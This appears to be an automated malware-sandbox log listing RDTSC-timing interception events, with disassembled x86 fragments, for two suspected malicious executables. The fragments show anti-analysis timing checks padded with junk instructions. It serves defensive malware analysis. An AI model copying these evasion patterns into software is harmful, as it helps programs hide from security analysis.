Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592AC6 second address: 592ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592ACB second address: 592ADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F07BCDD769Ah 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592ADB second address: 592ADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CE50 second address: 59CE66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD769Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CE66 second address: 59CE6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E401 second address: 59E407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E407 second address: 59E40B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3DB8 second address: 5A3DCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD769Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3DCD second address: 5A3DD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49CF16 second address: 49CF21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F07BCDD7696h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49CF21 second address: 49CF27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49CF27 second address: 49CF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007F07BCDD76A6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49CF49 second address: 49CF4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6284 second address: 5B628A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B628A second address: 5B6290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6290 second address: 5B6294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B6435 second address: 5B645D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F07BCC9CC36h 0x00000008 jng 00007F07BCC9CC36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F07BCC9CC48h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B645D second address: 5B6462 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7DED second address: 5B7E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCC9CC41h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7E02 second address: 5B7E0C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F07BCDD7696h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7E0C second address: 5B7E1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F07BCC9CC3Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B7E1E second address: 5B7E58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F07BCDD769Eh 0x0000000a jmp 00007F07BCDD769Ch 0x0000000f je 00007F07BCDD7696h 0x00000015 popad 0x00000016 jbe 00007F07BCDD769Ah 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push eax 0x00000023 pushad 0x00000024 push edi 0x00000025 pop edi 0x00000026 push ecx 0x00000027 pop ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD49B second address: 5CD4A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC91C second address: 5CC93B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F07BCDD76B1h 0x00000008 jmp 00007F07BCDD76A5h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC93B second address: 5CC949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jng 00007F07BCC9CC36h 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD1B1 second address: 5CD1B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CFD00 second address: 5CFD06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D024D second address: 5D0257 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F07BCDD7696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D31C7 second address: 5D31D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F07BCC9CC36h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D31D5 second address: 5D31E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D31E0 second address: 5D31E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D31E4 second address: 5D31E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4D15 second address: 5D4D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F07BCC9CC38h 0x0000000b popad 0x0000000c pushad 0x0000000d push ecx 0x0000000e jmp 00007F07BCC9CC42h 0x00000013 jns 00007F07BCC9CC36h 0x00000019 pop ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4D42 second address: 5D4D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD76A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4D5A second address: 5D4D5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50303A5 second address: 50303D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 mov edx, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F07BCDD76A2h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F07BCDD769Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50303D3 second address: 50303E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030446 second address: 503044A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503044A second address: 503044E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503044E second address: 5030454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030545 second address: 503059A instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007F07BCC9CC3Ah 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F07BCC9CC3Bh 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a pushad 0x0000001b push edx 0x0000001c pop eax 0x0000001d popad 0x0000001e mov esi, 3FE707F3h 0x00000023 popad 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 jmp 00007F07BCC9CC49h 0x0000002d pop eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 mov al, dl 0x00000033 mov cl, 92h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503059A second address: 50305A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50305A0 second address: 50305FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007F082EE2066Ah 0x00000010 push 771B27D0h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov eax, dword ptr [esp+10h] 0x00000020 mov dword ptr [esp+10h], ebp 0x00000024 lea ebp, dword ptr [esp+10h] 0x00000028 sub esp, eax 0x0000002a push ebx 0x0000002b push esi 0x0000002c push edi 0x0000002d mov eax, dword ptr [77240140h] 0x00000032 xor dword ptr [ebp-04h], eax 0x00000035 xor eax, ebp 0x00000037 push eax 0x00000038 mov dword ptr [ebp-18h], esp 0x0000003b push dword ptr [ebp-08h] 0x0000003e mov eax, dword ptr [ebp-04h] 0x00000041 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000048 mov dword ptr [ebp-08h], eax 0x0000004b lea eax, dword ptr [ebp-10h] 0x0000004e mov dword ptr fs:[00000000h], eax 0x00000054 ret 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 mov ecx, edx 0x0000005a pushfd 0x0000005b jmp 00007F07BCC9CC49h 0x00000060 sub si, ADA6h 0x00000065 jmp 00007F07BCC9CC41h 0x0000006a popfd 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50305FA second address: 5030683 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 mov dx, 102Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d and dword ptr [ebp-04h], 00000000h 0x00000011 jmp 00007F07BCDD76A5h 0x00000016 mov edx, dword ptr [ebp+0Ch] 0x00000019 jmp 00007F07BCDD769Eh 0x0000001e mov esi, edx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F07BCDD769Eh 0x00000027 xor cl, FFFFFFD8h 0x0000002a jmp 00007F07BCDD769Bh 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007F07BCDD76A8h 0x00000036 sbb cl, 00000038h 0x00000039 jmp 00007F07BCDD769Bh 0x0000003e popfd 0x0000003f popad 0x00000040 mov al, byte ptr [edx] 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030683 second address: 5030687 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030687 second address: 503068D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503068D second address: 50306E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a pushad 0x0000000b pushad 0x0000000c mov edi, esi 0x0000000e jmp 00007F07BCC9CC48h 0x00000013 popad 0x00000014 jmp 00007F07BCC9CC42h 0x00000019 popad 0x0000001a test al, al 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F07BCC9CC47h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50306E7 second address: 5030683 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD76A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F07BCDD7607h 0x0000000f mov al, byte ptr [edx] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50307BD second address: 5030804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 4061CE4Fh 0x00000008 pushfd 0x00000009 jmp 00007F07BCC9CC44h 0x0000000e sub eax, 52B2E2F8h 0x00000014 jmp 00007F07BCC9CC3Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov al, byte ptr [edi+01h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jmp 00007F07BCC9CC3Eh 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030804 second address: 5030829 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD769Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F07BCDD76A2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030829 second address: 503085F instructions: 0x00000000 rdtsc 0x00000002 call 00007F07BCC9CC42h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b test al, al 0x0000000d jmp 00007F07BCC9CC3Ch 0x00000012 jne 00007F082EE14E66h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ax, di 0x0000001e movsx ebx, cx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503085F second address: 50308C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD769Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F07BCDD76A1h 0x00000013 sub ch, 00000066h 0x00000016 jmp 00007F07BCDD76A1h 0x0000001b popfd 0x0000001c popad 0x0000001d push esi 0x0000001e push edx 0x0000001f pop ecx 0x00000020 pop ebx 0x00000021 popad 0x00000022 shr ecx, 02h 0x00000025 jmp 00007F07BCDD76A6h 0x0000002a rep movsd 0x0000002c rep movsd 0x0000002e rep movsd 0x00000030 rep movsd 0x00000032 rep movsd 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 mov dx, ax 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50308C1 second address: 5030906 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b jmp 00007F07BCC9CC3Eh 0x00000010 and ecx, 03h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F07BCC9CC47h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030906 second address: 503094D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, C8h 0x00000005 jmp 00007F07BCDD76A0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d rep movsb 0x0000000f jmp 00007F07BCDD76A0h 0x00000014 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e call 00007F07BCDD769Dh 0x00000023 pop eax 0x00000024 mov bx, 6A64h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503094D second address: 50309DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F07BCC9CC48h 0x00000009 xor ah, 00000018h 0x0000000c jmp 00007F07BCC9CC3Bh 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov eax, ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F07BCC9CC47h 0x00000022 or ch, FFFFFF8Eh 0x00000025 jmp 00007F07BCC9CC49h 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007F07BCC9CC40h 0x00000031 or ecx, 13A6A908h 0x00000037 jmp 00007F07BCC9CC3Bh 0x0000003c popfd 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50309DB second address: 50309E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50309E1 second address: 50309E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50309E5 second address: 5030A1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD769Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [ebp-10h] 0x0000000e jmp 00007F07BCDD76A6h 0x00000013 mov dword ptr fs:[00000000h], ecx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d mov ax, 83F3h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030A1D second address: 5030A6A instructions: 0x00000000 rdtsc 0x00000002 mov ch, 6Ch 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ecx 0x00000008 jmp 00007F07BCC9CC3Eh 0x0000000d pop edi 0x0000000e jmp 00007F07BCC9CC40h 0x00000013 pop esi 0x00000014 jmp 00007F07BCC9CC40h 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d call 00007F07BCC9CC3Dh 0x00000022 pop esi 0x00000023 push edx 0x00000024 pop eax 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030A6A second address: 5030A7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD769Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030A7D second address: 5030545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, cx 0x00000007 popad 0x00000008 movzx ecx, dx 0x0000000b popad 0x0000000c retn 0008h 0x0000000f cmp dword ptr [ebp-2Ch], 10h 0x00000013 mov eax, dword ptr [ebp-40h] 0x00000016 jnc 00007F07BCC9CC35h 0x00000018 push eax 0x00000019 lea edx, dword ptr [ebp-00000590h] 0x0000001f push edx 0x00000020 call esi 0x00000022 push 00000008h 0x00000024 pushad 0x00000025 movzx ecx, dx 0x00000028 call 00007F07BCC9CC43h 0x0000002d pushfd 0x0000002e jmp 00007F07BCC9CC48h 0x00000033 or eax, 3E743378h 0x00000039 jmp 00007F07BCC9CC3Bh 0x0000003e popfd 0x0000003f pop esi 0x00000040 popad 0x00000041 call 00007F07BCC9CC39h 0x00000046 pushad 0x00000047 pushad 0x00000048 movsx edi, cx 0x0000004b call 00007F07BCC9CC3Ch 0x00000050 pop esi 0x00000051 popad 0x00000052 push eax 0x00000053 push edx 0x00000054 pushfd 0x00000055 jmp 00007F07BCC9CC41h 0x0000005a sub cx, 0EC6h 0x0000005f jmp 00007F07BCC9CC41h 0x00000064 popfd 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030BA8 second address: 5030BAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030BAE second address: 5030BB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030BB2 second address: 5030BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030BC2 second address: 5030BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030BC6 second address: 5030BCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030BCC second address: 5030BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F07BCC9CC43h 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 74EB80 second address: 74EB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D14F2 second address: 8D14F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D14F6 second address: 8D14FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D061D second address: 8D062D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jne 00007F07BCC9CC36h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D062D second address: 8D0637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D0798 second address: 8D07A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F07BCC9CC36h 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D07A2 second address: 8D07B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD769Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D33E4 second address: 8D33E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D33E9 second address: 8D3404 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD76A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D3404 second address: 8D3421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCC9CC3Eh 0x00000009 popad 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D3421 second address: 8D3425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D3425 second address: 8D3433 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F07BCC9CC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Documents\EBFBKFBGII.exe	RDTSC instruction interceptor: First address: 8D3433 second address: 8D345B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD76A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
